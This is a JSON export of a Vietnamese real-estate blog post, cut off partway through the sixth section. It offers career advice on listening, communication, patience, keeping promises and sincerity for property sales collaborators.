{"id":30060,"date":"2021-09-07T10:58:31","date_gmt":"2021-09-07T03:58:31","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=30060"},"modified":"2025-10-22T03:58:04","modified_gmt":"2025-10-21T20:58:04","slug":"25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/","title":{"rendered":"25 k\u1ef9 n\u0103ng gi\u00fap CTV B\u0110S ki\u1ebfm \u0111\u01b0\u1ee3c b\u1ed9n ti\u1ec1n"},"content":{"rendered":"\n<p><em>Ng\u00e0y nay, c\u1ed9ng t\u00e1c vi\u00ean b\u1ea5t \u0111\u1ed9ng s\u1ea3n<em> (CTV B\u0110S)<\/em> \u0111ang l\u00e0 ngh\u1ec1 nh\u1eadn \u0111\u01b0\u1ee3c nhi\u1ec1u s\u1ef1 quan t\u00e2m c\u1ee7a nhi\u1ec1u ng\u01b0\u1eddi b\u1edfi ngu\u1ed3n thu nh\u1eadp h\u1ea5p d\u1eabn. Nh\u01b0ng kh\u00f4ng ph\u1ea3i ai c\u0169ng c\u00f3 th\u1ec3 th\u00e0nh c\u00f4ng v\u1edbi ngh\u1ec1 n\u00e0y. Trong b\u00e0i bi\u1ebft d\u01b0\u1edbi \u0111\u00e2y, <a href=\"http:\/\/reti.vn\" target=\"_blank\" rel=\"noreferrer noopener\">RETI<\/a> s\u1ebd chia s\u1ebb cho b\u1ea1n \u0111\u1ecdc nh\u1eefng k\u1ef9 n\u0103ng gi\u00fap cho c\u1ed9ng t\u00e1c vi\u00ean b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u00f3 th\u1ec3 th\u00e0nh c\u00f4ng v\u00e0 ki\u1ebfm \u0111\u01b0\u1ee3c b\u1ed9n ti\u1ec1n v\u1edbi ngh\u1ec1 sales.<\/em><\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69ed50ad604a2\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69ed50ad604a2\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Hay_la_nguoi_biet_lang_nghe\" >H\u00e3y l\u00e0 ng\u01b0\u1eddi bi\u1ebft l\u1eafng nghe<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Ky_nang_giao_tiep_tot\" >K\u1ef9 n\u0103ng giao ti\u1ebfp t\u1ed1t<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Binh_tinh_va_kien_nhan\" >B\u00ecnh t\u0129nh v\u00e0 ki\u00ean nh\u1eabn<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Giu_loi_hua\" >Gi\u1eef l\u1eddi h\u1ee9a<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Hay_chan_thanh\" >H\u00e3y ch\u00e2n th\u00e0nh<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Than_thien_va_rong_luong\" >Th\u00e2n thi\u1ec7n v\u00e0 r\u1ed9ng l\u01b0\u1ee3ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Giai_phap_ma_ban_cung_cap_co_thoa_man_khach_hang_khong\" >Gi\u1ea3i ph\u00e1p m\u00e0 b\u1ea1n cung c\u1ea5p c\u00f3 tho\u1ea3 m\u00e3n kh\u00e1ch h\u00e0ng kh\u00f4ng?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Tro_thanh_chuyen_gia\" >Tr\u1edf th\u00e0nh chuy\u00ean gia<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Hieu_to_chuc_cua_ban\" >Hi\u1ec3u t\u1ed5 ch\u1ee9c c\u1ee7a b\u1ea1n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Quan_ly_thoi_gian\" >Qu\u1ea3n l\u00fd th\u1eddi gian<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Thuong_luong_va_thuyet_phuc\" >Th\u01b0\u01a1ng l\u01b0\u1ee3ng v\u00e0 thuy\u1ebft ph\u1ee5c<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Hay_tu_tin\" >H\u00e3y t\u1ef1 tin<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Ren_luyen_tinh_kien_tri\" >R\u00e8n luy\u1ec7n t\u00ednh ki\u00ean tr\u00ec<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Chot_sale\" >Ch\u1ed1t sale<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Xu_ly_tot_nhung_bat_ngo\" >X\u1eed l\u00fd t\u1ed1t nh\u1eefng b\u1ea5t ng\u1edd<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Lam_viec_duoi_ap_luc\" >L\u00e0m vi\u1ec7c d\u01b0\u1edbi \u00e1p l\u1ef1c<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Phan_tich_van_de\" >Ph\u00e2n t\u00edch v\u1ea5n \u0111\u1ec1<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Thau_hieu_tam_ly_con_nguoi\" >Th\u1ea5u hi\u1ec3u t\u00e2m l\u00fd con ng\u01b0\u1eddi<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Dieu_gi_se_xay_ra_neu_ban_o_trong_tinh_huong_nay\" >\u0110i\u1ec1u g\u00ec s\u1ebd x\u1ea3y ra n\u1ebfu b\u1ea1n \u1edf trong t\u00ecnh hu\u1ed1ng n\u00e0y?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Hay_dung_ngon_ngu_tich_cuc\" >H\u00e3y d\u00f9ng ng\u00f4n ng\u1eef t\u00edch c\u1ef1c<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Co_ky_nang_tin_hoc\" >C\u00f3 k\u1ef9 n\u0103ng tin h\u1ecdc<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Lam_them_nhung_viec_nho_nhung_huu_ich\" >L\u00e0m th\u00eam nh\u1eefng vi\u1ec7c nh\u1ecf nh\u01b0ng h\u1eefu \u00edch<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Hoc_hoi_tu_nhung_sai_lam\" >H\u1ecdc h\u1ecfi t\u1eeb nh\u1eefng sai l\u1ea7m<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Hay_la_mot_nha_lanh_dao\" >H\u00e3y l\u00e0 m\u1ed9t nh\u00e0 l\u00e3nh \u0111\u1ea1o<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/#Ngon_ngu_co_the_tot\" >Ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 t\u1ed1t<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Hay_la_nguoi_biet_lang_nghe\"><\/span>H\u00e3y l\u00e0 ng\u01b0\u1eddi bi\u1ebft l\u1eafng nghe<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>L\u1eafng nghe t\u1ed1t l\u00e0 m\u1ed9t trong nh\u1eefng k\u1ef9 n\u0103ng ph\u1ee5c v\u1ee5 kh\u00e1ch h\u00e0ng quan tr\u1ecdng nh\u1ea5t m\u00e0 b\u1ea1n c\u00f3 th\u1ec3 c\u1ea3i thi\u1ec7n theo th\u1eddi gian. B\u1ea1n c\u00f3 th\u1ec3 tr\u1edf n\u00ean chuy\u00ean nghi\u1ec7p h\u01a1n khi b\u1ea1n \u0111\u1eb7t c\u00e2u h\u1ecfi h\u01b0\u1edbng theo nhu c\u1ea7u kh\u00e1ch h\u00e0ng. N\u1ebfu c\u00f3 th\u1ec3 h\u00e3y t\u00f3m t\u1eaft v\u1ea5n \u0111\u1ec1 c\u1ee7a kh\u00e1ch h\u00e0ng \u0111\u1ec3 x\u00e1c nh\u1eadn l\u1ea1i khi h\u1ecd di\u1ec5n \u0111\u1ea1t xong.<\/p>\n\n\n\n<p>\u0110\u1eb7c bi\u1ec7t, khi b\u1ea1n l\u1eafng nghe nh\u1eefng chia s\u1ebb c\u1ee7a kh\u00e1ch h\u00e0ng m\u1ed9t c\u00e1ch ch\u0103m ch\u00fa v\u00e0 ch\u00e2n th\u00e0nh, b\u1ea1n kh\u00f4ng ch\u1ec9 nh\u1eadn \u0111\u01b0\u1ee3c s\u1ef1 t\u00f4n tr\u1ecdng t\u1eeb kh\u00e1ch h\u00e0ng m\u00e0 c\u00f2n nh\u1eadn \u0111\u01b0\u1ee3c s\u1ef1 h\u00e0i l\u00f2ng c\u00f9ng nh\u1eefng \u0111\u00e1nh gi\u00e1 t\u00edch c\u1ef1c v\u00e0 l\u1eddi nh\u1eadn x\u00e9t c\u00f3 c\u00e1nh. B\u1edfi v\u1eady, l\u1eafng nghe t\u1ed1t l\u00e0 m\u1ed9t y\u1ebfu t\u1ed1 quan tr\u1ecdng gi\u00fap b\u1ea1n th\u00e0nh c\u00f4ng trong nhi\u1ec1u vi\u1ec7c, \u0111\u1eb7c bi\u1ec7t v\u1ec1 l\u0129nh v\u1ef1c kinh doanh.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ky_nang_giao_tiep_tot\"><\/span>K\u1ef9 n\u0103ng giao ti\u1ebfp t\u1ed1t<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>M\u1ed9t k\u1ef9 n\u0103ng giao ti\u1ebfp tuy\u1ec7t v\u1eddi l\u00e0 \u0111i\u1ec1u \u0111\u1eb7c bi\u1ec7t c\u1ea7n thi\u1ebft trong l\u0129nh v\u1ef1c kinh doanh v\u00e0 d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng. Giao ti\u1ebfp hi\u1ec7u qu\u1ea3 v\u1edbi kh\u00e1ch h\u00e0ng kh\u00f4ng ch\u1ec9 gi\u00fap b\u1ea1n x\u00e2y d\u1ef1ng s\u1ef1 t\u00edn nhi\u1ec7m trong v\u00e0i tr\u00f2 l\u00e0 m\u1ed9t chuy\u00ean vi\u00ean kinh doanh m\u00e0 c\u00f2n \u0111em l\u1ea1i cho b\u1ea1n danh ti\u1ebfng t\u1ed1t t\u1ea1i n\u01a1i l\u00e0m vi\u1ec7c. Qu\u00e1 tr\u00ecnh giao ti\u1ebfp v\u1edbi kh\u00e1ch h\u00e0ng s\u1ebd \u0111\u01a1n gi\u1ea3n h\u01a1n nhi\u1ec1u khi b\u1ea1n bi\u1ebft l\u00fac n\u00e0o n\u00ean nghe v\u00e0 l\u00fac n\u00e0o n\u00ean n\u00f3i. <\/p>\n\n\n\n<p><strong>V\u1eady l\u00e0m th\u1ebf n\u00e0o \u0111\u1ec3 luy\u1ec7n t\u1eadp k\u1ef9 n\u0103ng giao ti\u1ebfp?<\/strong><\/p>\n\n\n\n<p>H\u00e3y d\u00e0nh th\u1eddi gian t\u1eadp n\u00f3i tr\u01b0\u1edbc g\u01b0\u01a1ng, tham d\u1ef1 c\u00e1c kho\u00e1 h\u1ecdc \u0111\u1ecdc s\u00e1ch v\u1ec1 giao ti\u1ebfp hi\u1ec7u qu\u1ea3 ho\u1eb7c giao ti\u1ebfp v\u1edbi nhi\u1ec1u ng\u01b0\u1eddi, bao g\u1ed3m c\u1ea3 nh\u1eefng ng\u01b0\u1eddi b\u1ea1n ch\u01b0a bao gi\u1edd g\u1eb7p. B\u1ea1n c\u00e0ng c\u00f3 nhi\u1ec1u kinh nghi\u1ec7m n\u00f3i chuy\u1ec7n th\u00ec vi\u1ec7c c\u1ed1 g\u1eafng b\u00e1n s\u1ea3n ph\u1ea9m hay \u0111\u01b0a ra c\u00e1c gi\u1ea3i ph\u00e1p cho kh\u00e1ch h\u00e0ng c\u0169ng d\u1ec5 d\u00e0ng h\u01a1n, v\u00e0 b\u1ea1n s\u1ebd c\u00e0ng c\u00f3 th\u00eam nhi\u1ec1u kh\u00e1ch h\u00e0ng th\u00e2n thi\u1ebft. <\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/08\/chinh-chu-05-1.png\" alt=\"\" class=\"wp-image-29937 lazyload\" width=\"705\" height=\"350\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/08\/chinh-chu-05-1.png 705w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/08\/chinh-chu-05-1-300x149.png 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/08\/chinh-chu-05-1-150x74.png 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/08\/chinh-chu-05-1-696x346.png 696w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/08\/chinh-chu-05-1-324x160.png 324w\" data-sizes=\"(max-width: 705px) 100vw, 705px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 705px; --smush-placeholder-aspect-ratio: 705\/350;\" \/><figcaption>Giao ti\u1ebfp t\u1ed1t gi\u00fap b\u1ea1n ghi \u0111i\u1ec3m trong m\u1eaft kh\u00e1ch h\u00e0ng<\/figcaption><\/figure><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Binh_tinh_va_kien_nhan\"><\/span>B\u00ecnh t\u0129nh v\u00e0 ki\u00ean nh\u1eabn<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Bi\u1ebft c\u00e1ch qu\u1ea3n l\u00fd c\u1ea3m x\u00fac c\u00e1 nh\u00e2n l\u00e0 m\u1ed9t y\u1ebfu t\u1ed1 quan tr\u1ecdng t\u1ea1o n\u00ean th\u00e0nh c\u00f4ng khi l\u00e0m vi\u1ec7c, d\u00f9 l\u00e0 trong b\u1ea5t k\u1ef3 l\u0129nh v\u1ef1c n\u00e0o. Khi b\u1ea1n ph\u1ea3i l\u00e0m vi\u1ec7c v\u1edbi nh\u1eefng kh\u00e1ch h\u00e0ng b\u1ea5t m\u00e3n ho\u1eb7c nh\u1eefng ng\u01b0\u1eddi kh\u00f4ng r\u00f5 v\u1ec1 c\u00e1c d\u1ecbch v\u1ee5 v\u00e0 s\u1ea3n ph\u1ea9m m\u00e0 b\u1ea1n cung c\u1ea5p, h\u00e3y gi\u1eef m\u1ed9t t\u00e2m th\u1ebf b\u00ecnh t\u0129nh v\u00e0 ki\u00ean nh\u1eabn. \u0110i\u1ec1u n\u00e0y s\u1ebd l\u00e0m cho kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n c\u1ea3m th\u1ea5y \u0111\u01b0\u1ee3c t\u00f4n tr\u1ecdng v\u00e0 l\u1eafng nghe h\u01a1n khi n\u00f3i chuy\u1ec7n v\u1edbi b\u1ea1n.<\/p>\n\n\n\n<p>Tuy nhi\u00ean, \u0111\u1ec3 r\u00e8n luy\u1ec7n s\u1ef1 b\u00ecnh t\u0129nh kh\u00f4ng ph\u1ea3i l\u00e0 \u0111i\u1ec1u d\u1ec5 d\u00e0ng \u0111\u1ed1i v\u1edbi nhi\u1ec1u ng\u01b0\u1eddi. C\u00e1c b\u00e0i t\u1eadp gi\u1ea3m stress k\u1ebft h\u1ee3p v\u1edbi c\u00e1c b\u00e0i t\u1eadp th\u1edf khi thi\u1ec1n s\u1ebd l\u00e0 m\u1ed9t trong nh\u1eefng c\u00e1ch h\u1eefu hi\u1ec7u gi\u00fap gi\u1ea3m m\u1ee9c \u0111\u1ed9 c\u0103ng th\u1eb3ng v\u00e0 lo l\u1eafng b\u1ea1n g\u1eb7p ph\u1ea3i t\u1ea1i n\u01a1i l\u00e0m vi\u1ec7c ho\u1eb7c khi b\u1ea1n \u0111ang x\u1eed l\u00fd c\u00f4ng vi\u1ec7c.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Giu_loi_hua\"><\/span>Gi\u1eef l\u1eddi h\u1ee9a<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Gi\u1eef l\u1eddi h\u1ee9a v\u1edbi kh\u00e1ch h\u00e0ng l\u00e0 \u0111i\u1ec1u c\u1ea7n thi\u1ebft trong vi\u1ec7c x\u00e2y d\u1ef1ng th\u01b0\u01a1ng hi\u1ec7u c\u00e1 nh\u00e2n c\u1ee7a b\u1ea1n v\u00e0 c\u1ea7n \u0111\u01b0\u1ee3c th\u1ef1c hi\u1ec7n m\u1ed9t c\u00e1ch nghi\u00eam t\u00fac. Gi\u1eef l\u1eddi h\u1ee9a c\u0169ng ch\u1ee9ng minh l\u00f2ng trung th\u00e0nh c\u1ee7a b\u1ea1n \u0111\u1ed1i v\u1edbi kh\u00e1ch h\u00e0ng v\u00e0 gi\u00fap b\u1ea1n c\u00f3 \u0111\u01b0\u1ee3c v\u1ecb th\u1ebf d\u1eabn \u0111\u1ea7u t\u1ea1i n\u01a1i l\u00e0m vi\u1ec7c, nh\u1edd r\u1ea5t nhi\u1ec1u v\u00e0o \u00fd ki\u1ebfn \u1ee7ng h\u1ed9 v\u00e0 l\u1eddi gi\u1edbi thi\u1ec7u.<\/p>\n\n\n\n<p>V\u00ec th\u1ebf, b\u1ea1n n\u00ean h\u1ecdc c\u00e1ch nh\u1eadn ra nh\u1eefng mong \u0111\u1ee3i t\u1eeb khi\u1ebfu n\u1ea1i c\u1ee7a kh\u00e1ch h\u00e0ng v\u00e0 nh\u1eefng \u0111i\u1ec1u b\u1ea1n c\u00f3 th\u1ec3 l\u00e0m \u0111\u1ec3 h\u1ed7 tr\u1ee3 h\u1ecd. B\u1ea1n c\u0169ng c\u1ea7n lu\u00f4n lu\u00f4n theo s\u00e1t c\u00e1c ch\u00ednh s\u00e1ch c\u00f4ng ty \u0111\u1ec3 \u0111\u1ea3m b\u1ea3o r\u1eb1ng m\u1ecdi l\u1eddi h\u1ee9a c\u1ee7a b\u1ea1n v\u1edbi kh\u00e1ch h\u00e0ng c\u00f3 th\u1ec3 th\u1ef1c hi\u1ec7n \u0111\u01b0\u1ee3c. Khi b\u1ea1n kh\u00f4ng th\u1ec3 th\u1ef1c hi\u1ec7n m\u1ed9t l\u1eddi h\u1ee9a \u0111\u00e3 cam k\u1ebft v\u1edbi kh\u00e1ch h\u00e0ng, b\u1ea1n c\u00f3 th\u1ec3 b\u1ecb khi\u1ebfu n\u1ea1i ho\u1eb7c th\u1eadm ch\u00ed m\u1ea5t \u0111i doanh s\u1ed1 c\u00f9ng kh\u00e1ch h\u00e0ng. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Hay_chan_thanh\"><\/span>H\u00e3y ch\u00e2n th\u00e0nh<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>S\u1ef1 ch\u00e2n th\u00e0nh v\u00e0 minh b\u1ea1ch khi n\u00f3i \u0111\u1ebfn c\u00e1c s\u1ea3n ph\u1ea9m ho\u1eb7c d\u1ecbch v\u1ee5 m\u00e0 b\u1ea1n cung c\u1ea5p v\u1edbi kh\u00e1ch h\u00e0ng ch\u1ee9ng t\u1ecf b\u1ea1n th\u1ef1c s\u1ef1 quan t\u00e2m \u0111\u1ebfn ni\u1ec1m vui v\u00e0 s\u1ef1 h\u00e0i l\u00f2ng c\u1ee7a h\u1ecd. Khi b\u1ea1n ch\u00e2n th\u00e0nh v\u00e0 c\u1edfi m\u1edf v\u1edbi kh\u00e1ch h\u00e0ng, b\u1ea1n c\u00e0ng c\u00f3 nhi\u1ec1u kh\u1ea3 n\u0103ng thuy\u1ebft ph\u1ee5c h\u1ecd quy\u1ebft \u0111\u1ecbnh mua h\u00e0ng ho\u1eb7c \u0111\u1ea7u t\u01b0 v\u00e0o c\u00f4ng ty m\u00e0 b\u1ea1n \u0111\u1ea1i di\u1ec7n. Ch\u00e2n th\u00e0nh c\u0169ng c\u1ea7n thi\u1ebft v\u00e0 quan tr\u1ecdng ngay c\u1ea3 trong tr\u01b0\u1eddng h\u1ee3p th\u00f4ng \u0111i\u1ec7p b\u1ea1n \u0111ang chia s\u1ebb kh\u00f4ng ph\u1ea3i l\u00e0 t\u00edch c\u1ef1c.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img decoding=\"async\" width=\"750\" height=\"511\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/09\/rawpixel-665389-unsplash.jpg\" alt=\"\" class=\"wp-image-30199 lazyload\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/09\/rawpixel-665389-unsplash.jpg 750w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/09\/rawpixel-665389-unsplash-300x204.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/09\/rawpixel-665389-unsplash-150x102.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/09\/rawpixel-665389-unsplash-218x150.jpg 218w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/09\/rawpixel-665389-unsplash-696x474.jpg 696w\" data-sizes=\"(max-width: 750px) 100vw, 750px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 750px; --smush-placeholder-aspect-ratio: 750\/511;\" \/><figcaption>Ch\u00e2n th\u00e0nh v\u00e0 minh b\u1ea1ch v\u1edbi kh\u00e1ch h\u00e0ng ch\u1ee9ng t\u1ecf b\u1ea1n th\u1ef1c s\u1ef1 quan t\u00e2m \u0111\u1ebfn ni\u1ec1m vui v\u00e0 s\u1ef1 h\u00e0i l\u00f2ng c\u1ee7a h\u1ecd<\/figcaption><\/figure><\/div>\n\n\n\n<p>Xem th\u00eam: <a href=\"https:\/\/reti.vn\/blog\/nhung-dieu-ban-can-biet-truoc-khi-tro-thanh-ctv-bds\/\" target=\"_blank\" rel=\"noreferrer noopener\">Nh\u1eefng \u0111i\u1ec1u b\u1ea1n c\u1ea7n bi\u1ebft tr\u01b0\u1edbc khi tr\u1edf th\u00e0nh CTV B\u0110S<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Than_thien_va_rong_luong\"><\/span>Th\u00e2n thi\u1ec7n v\u00e0 r\u1ed9ng l\u01b0\u1ee3ng<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>C\u00f3 m\u1ed9t t\u00ednh c\u00e1ch th\u00e2n thi\u1ec7n v\u00e0 r\u1ed9ng l\u01b0\u1ee3ng ch\u1eafc ch\u1eafn s\u1ebd gi\u00fap b\u1ea1n th\u00e0nh c\u00f4ng khi l\u00e0m vi\u1ec7c trong ng\u00e0nh d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng. C\u00e0ng th\u00e2n thi\u1ec7n v\u00e0 quan t\u00e2m \u0111\u1ebfn kh\u00e1ch h\u00e0ng, b\u1ea1n c\u00e0ng d\u1ec5 d\u00e0ng x\u00e2y d\u1ef1ng m\u1ed9t danh ti\u1ebfng t\u1ed1t h\u01a1n, \u0111\u1ed3ng th\u1eddi c\u1ea3i thi\u1ec7n vi\u1ec7c b\u00e1n h\u00e0ng ho\u1eb7c kh\u1ea3 n\u0103ng gi\u1ea3i quy\u1ebft v\u1ea5n \u0111\u1ec1 c\u1ee7a b\u1ea1n. H\u00e3y h\u1ecfi v\u1ec1 cu\u1ed9c s\u1ed1ng h\u00e0ng ng\u00e0y c\u1ee7a kh\u00e1ch h\u00e0ng, gia \u0111\u00ecnh c\u1ee7a h\u1ecd v\u00e0 \u0111\u01b0a ra l\u00fd do 